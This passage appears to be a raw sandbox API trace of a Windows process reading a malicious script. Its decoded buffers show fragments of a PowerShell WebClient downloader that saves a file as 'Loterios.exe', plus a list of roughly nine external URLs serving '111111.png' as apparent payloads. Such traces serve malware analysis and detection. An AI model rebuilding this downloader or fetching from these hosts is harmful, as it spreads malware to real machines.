^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 7 [0167.483] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.483] GetFileType (hFile=0xa0) returned 0x1 [0167.483] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.483] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x96f [0167.483] GetProcessHeap () returned 0x20b0f920000 [0167.483] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.483] GetProcessHeap () returned 0x20b0f920000 [0167.483] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.483] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.483] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x96f [0167.483] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xe46, lpOverlapped=0x0) returned 1 [0167.483] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2422, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x976 [0167.483] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=7, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="bCli^\r\n\n\nlotRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 7 [0167.483] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.483] GetFileType (hFile=0xa0) returned 0x1 [0167.483] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.483] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x976 [0167.483] GetProcessHeap () returned 0x20b0f920000 [0167.483] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.483] GetProcessHeap () returned 0x20b0f920000 [0167.484] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.484] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.484] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x976 [0167.484] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xe3f, lpOverlapped=0x0) returned 1 [0167.484] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2434, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x982 [0167.484] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=12, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="ent).Down^\r\nRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 12 [0167.484] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.484] GetFileType (hFile=0xa0) returned 0x1 [0167.484] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.484] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x982 [0167.484] GetProcessHeap () returned 0x20b0f920000 [0167.484] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.484] GetProcessHeap () returned 0x20b0f920000 [0167.484] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.484] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.484] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x982 [0167.484] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xe33, lpOverlapped=0x0) returned 1 [0167.485] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2442, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x98a [0167.485] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=8, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="loadF^\r\nn^\r\nRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 8 [0167.485] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.485] GetFileType (hFile=0xa0) returned 0x1 [0167.485] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.485] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x98a [0167.485] GetProcessHeap () returned 0x20b0f920000 [0167.485] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.485] GetProcessHeap () returned 0x20b0f920000 [0167.485] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.485] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.485] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x98a [0167.485] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xe2b, lpOverlapped=0x0) returned 1 [0167.485] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2449, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x991 [0167.485] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=7, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="ile(^\r\n\nn^\r\nRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 7 [0167.485] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.485] GetFileType (hFile=0xa0) returned 0x1 [0167.485] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.485] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x991 [0167.485] GetProcessHeap () returned 0x20b0f920000 [0167.486] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.486] GetProcessHeap () returned 0x20b0f920000 [0167.486] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.486] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.486] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x991 [0167.486] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xe24, lpOverlapped=0x0) returned 1 [0167.486] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2455, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x997 [0167.486] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=6, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="$ur^\r\n\n\nn^\r\nRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 6 [0167.486] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.486] GetFileType (hFile=0xa0) returned 0x1 [0167.486] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.486] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x997 [0167.486] GetProcessHeap () returned 0x20b0f920000 [0167.486] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.486] GetProcessHeap () returned 0x20b0f920000 [0167.486] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.486] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.486] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x997 [0167.487] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xe1e, lpOverlapped=0x0) returned 1 [0167.487] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2464, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9a0 [0167.487] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="l.ToSt^\r\n^\r\nRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0167.487] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.487] GetFileType (hFile=0xa0) returned 0x1 [0167.487] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.487] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9a0 [0167.487] GetProcessHeap () returned 0x20b0f920000 [0167.487] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.487] GetProcessHeap () returned 0x20b0f920000 [0167.487] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.487] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.487] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9a0 [0167.487] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xe15, lpOverlapped=0x0) returned 1 [0167.487] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2471, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9a7 [0167.487] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=7, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="ring^\r\n\r\n^\r\nRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 7 [0167.487] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.488] GetFileType (hFile=0xa0) returned 0x1 [0167.488] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.488] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9a7 [0167.488] GetProcessHeap () returned 0x20b0f920000 [0167.488] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.488] GetProcessHeap () returned 0x20b0f920000 [0167.488] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.488] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.488] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9a7 [0167.488] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xe0e, lpOverlapped=0x0) returned 1 [0167.488] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9b0 [0167.488] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="(), $p^\r\n^\r\nRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0167.488] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.488] GetFileType (hFile=0xa0) returned 0x1 [0167.488] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.488] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9b0 [0167.488] GetProcessHeap () returned 0x20b0f920000 [0167.488] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.488] GetProcessHeap () returned 0x20b0f920000 [0167.488] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.489] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.489] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9b0 [0167.489] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xe05, lpOverlapped=0x0) returned 1 [0167.489] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2487, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9b7 [0167.489] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=7, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="ath)^\r\n\r\n^\r\nRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 7 [0167.489] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.489] GetFileType (hFile=0xa0) returned 0x1 [0167.489] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.489] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9b7 [0167.489] GetProcessHeap () returned 0x20b0f920000 [0167.489] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.489] GetProcessHeap () returned 0x20b0f920000 [0167.489] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.489] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.489] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9b7 [0167.489] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xdfe, lpOverlapped=0x0) returned 1 [0167.489] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2493, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9bd [0167.489] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=6, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=";sa^\r\n\n\r\n^\r\nRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 6 [0167.490] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.490] GetFileType (hFile=0xa0) returned 0x1 [0167.490] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.490] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9bd [0167.490] GetProcessHeap () returned 0x20b0f920000 [0167.490] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.490] GetProcessHeap () returned 0x20b0f920000 [0167.490] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.490] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.490] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9bd [0167.490] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xdf8, lpOverlapped=0x0) returned 1 [0167.490] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2501, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9c5 [0167.490] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=8, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="ps $p^\r\n\n^\r\nRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 8 [0167.490] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.490] GetFileType (hFile=0xa0) returned 0x1 [0167.490] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.490] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9c5 [0167.490] GetProcessHeap () returned 0x20b0f920000 [0167.490] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.490] GetProcessHeap () returned 0x20b0f920000 [0167.491] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.491] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.491] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9c5 [0167.491] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xdf0, lpOverlapped=0x0) returned 1 [0167.491] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2511, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9cf [0167.491] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=10, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="ath; br^\r\n\r\nRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 10 [0167.491] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.491] GetFileType (hFile=0xa0) returned 0x1 [0167.491] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.491] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9cf [0167.491] GetProcessHeap () returned 0x20b0f920000 [0167.491] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0167.491] GetProcessHeap () returned 0x20b0f920000 [0167.491] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0167.491] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.491] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x9cf [0167.491] ReadFile (in: hFile=0xa0, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fec50, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fec50*=0xde6, lpOverlapped=0x0) returned 1 [0167.492] SetFilePointer (in: hFile=0xa0, lDistanceToMove=2520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9d8 [0167.492] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr="eak;}c^\r\n\n\r\nRots\\Loterios.exe'; ^\r\n111111.png^\r\n1.png','http://nanfeiqiaowang.com/tsxwe/111111.png','http://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0167.492] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.492] GetFileType (hFile=0xa0) returned 0x1 [0167.492] _get_osfhandle (_FileHandle=3) returned 0xa0 [0167.492] SetFilePointer (in: hFile=0xa0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: 